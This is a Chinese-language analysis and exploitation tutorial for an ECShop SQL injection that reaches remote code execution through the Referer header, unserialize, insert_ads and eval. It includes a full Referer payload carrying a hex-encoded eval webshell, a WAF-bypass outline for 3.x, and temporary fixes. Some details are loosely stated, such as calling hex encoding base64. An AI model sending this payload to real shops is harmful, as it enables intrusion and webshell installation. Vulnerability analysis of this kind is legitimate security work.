ecshop全系列SQL注入漏洞分析
字数 1623 2025-08-11 01:06:30
ECSHOP全系列SQL注入漏洞分析与利用教学文档
漏洞概述
ECShop是一款基于PHP语言及MySQL数据库开发的B2C独立网店系统,最新版本为3.6.0。该漏洞影响ECShop全系列版本,攻击者可通过构造恶意请求实现SQL注入,最终导致远程任意命令执行。
漏洞原理
漏洞主要存在于user.php文件的login响应中,由于display函数的参数可被攻击者控制,导致SQL注入漏洞。具体流程如下:
login响应将http_referer的值赋给$back_act,而referer参数可被攻击者控制assign函数将$back_act变量值赋给back_act- Smarty模板引擎将
back_act的值赋给模板文件user_passport.dwt display读取user_passport.dwt文件内容,过滤后输出结果
漏洞利用链详细分析
1. 输入控制点
攻击者可以通过控制HTTP请求中的Referer头来注入恶意代码,因为:
user.php中的login函数会将$_SERVER['HTTP_REFERER']赋值给$back_act- 该值未经充分过滤就被传递到后续处理流程
2. 模板处理流程
display函数经过以下调用链:fetch -> make_compiled -> file_get_contents -> fetch_str -> smarty_prefilter_preCompile -> select- 取出HTML中的值
$out,其中包含referer的内容 $out通过_echash变量(代码中写死的值)进行切割referer的payload被切割成$val
3. 动态内容处理
-
insert_mod函数处理动态内容$val:- 以
|划分$val $para经unserialize反序列化得到- 动态调用
$fun($para),即insert_ads($para)
- 以
-
insert_ads函数存在SQL注入漏洞:- 直接将
id和num的值拼接到SQL语句中 - 攻击者可构造
id="'/*"来拼接a.posttion_id的单引号 /*与num配合注释掉order by num中的*/id/*配合注释order by- 通过
union联合查询在数据库中解析
- 直接将
4. 命令执行实现
position_style经拼接重新到fetch:fetch -> fetch_str- 将匹配到的字符传输至
select函数处理 select函数调用链:select -> get_val -> make_var- 最终匹配结果返回至
fetch_str,供_eval调用,导致任意命令执行
漏洞利用方法
针对ECShop 2.x版本
- 构造恶意
Referer头,包含以下内容:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b6576616c2f2a2a2f28245f504f53545b313333375d293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} - 其中包含base64编码的一句话木马:
<?php eval($_POST[1337]); ?> - 执行后会在服务器上创建
1.php文件
针对ECShop 3.x版本
3.x版本添加了WAF,过滤了union select,绕过方法:
- 将
union和select这两个词放在id和num的值里 - 同时修改
_echash的值
漏洞利用总结
referer值未加判断直接引用,可被攻击者控制输入- 利用
_echash = "554fcae493e564ee0dc75bdf2ebf94ca"为定值进行切分,构造payload - 利用反序列化漏洞,构造payload传输恶意代码
insert_ads函数的SQL拼接不规范导致存在SQL注入make_val函数拼接字符串输入,_eval中调用用户输入通过eval最终导致任意命令执行
临时修复方案
由于ECShop官方尚未发布修复补丁,可采取以下临时措施:
- 对
insert_ads函数的num和id参数进行intval处理 - 对
Referer头进行严格过滤和验证 - 禁用或限制Smarty模板引擎的动态函数调用功能